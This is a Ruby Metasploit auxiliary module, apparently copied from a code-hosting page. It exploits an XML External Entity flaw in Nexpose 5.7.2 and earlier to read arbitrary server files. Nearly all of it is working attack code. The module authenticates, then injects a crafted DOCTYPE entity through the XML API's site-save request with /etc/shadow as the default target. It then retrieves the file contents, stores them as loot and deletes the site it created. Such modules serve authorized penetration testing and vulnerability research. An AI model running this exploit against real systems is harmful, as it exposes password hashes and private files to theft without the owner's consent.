135 lines
3.9 KiB
Ruby
135 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rapid7/nexpose'
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class Metasploit4 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Nexpose XXE Arbitrary File Read',
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'Description' => %q{
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Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number
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of vectors. This vulnerability can allow an attacker to a craft special XML that
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could read arbitrary files from the filesystem. This module exploits the
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vulnerability via the XML API.
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},
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'Author' =>
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[
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'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module
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'Drazen Popovic <drazen.popvic[at]infigo.hr>', # Independent discovery, alternate vector
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'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>' # Independently reported
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ],
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# Fill this in with the direct advisory URL from Infigo
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[ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ]
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],
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'DefaultOptions' => {
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'SSL' => true
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}
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))
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register_options(
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[
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Opt::RPORT(3780),
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OptString.new('USERNAME', [true, "The Nexpose user", nil]),
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OptString.new('PASSWORD', [true, "The Nexpose password", nil]),
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OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"])
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], self.class)
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end
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def run
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user = datastore['USERNAME']
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pass = datastore['PASSWORD']
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prot = ssl ? 'https' : 'http'
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nsc = Nexpose::Connection.new(rhost, user, pass, rport)
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print_status("Authenticating as: " << user)
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begin
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nsc.login
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report_auth_info(
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:host => rhost,
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:port => rport,
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:sname => prot,
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:user => user,
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:pass => pass,
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:proof => '',
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:active => true
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)
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rescue
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print_error("Error authenticating, check your credentials")
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return
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end
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xml = '<!DOCTYPE foo ['
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xml << '<!ELEMENT host ANY>'
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xml << %Q{<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">}
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xml << ']>'
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xml << '<SiteSaveRequest session-id="'
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xml << nsc.session_id
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xml << '">'
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xml << '<Site id="-1" name="fdsa" description="fdfdsa">'
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xml << '<Hosts>'
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xml << '<host>&xxe;</host>'
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xml << '</Hosts>'
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xml << '<Credentials />'
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xml << '<Alerting />'
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xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />'
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xml << '</Site>'
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xml << '</SiteSaveRequest>'
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print_status("Sending payload")
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begin
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fsa = nsc.execute(xml)
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rescue
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print_error("Error executing API call for site creation, ensure the filepath is correct")
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return
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end
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doc = REXML::Document.new fsa.raw_response_data
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id = doc.root.attributes["site-id"]
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xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"
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print_status("Retrieving file")
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begin
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fsa = nsc.execute(xml)
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rescue
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nsc.site_delete id
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print_error("Error retrieving the file.")
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return
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end
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doc = REXML::Document.new fsa.raw_response_data
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print_status("Cleaning up")
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begin
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nsc.site_delete id
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rescue
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print_warning("Error while cleaning up site ID, manual cleanup required!")
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end
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unless doc.root.elements["//host"]
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print_error("No file returned. Either the server is patched or the file did not exist.")
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return
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end
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path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}")
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print_good("File saved to path: " << path)
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end
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end
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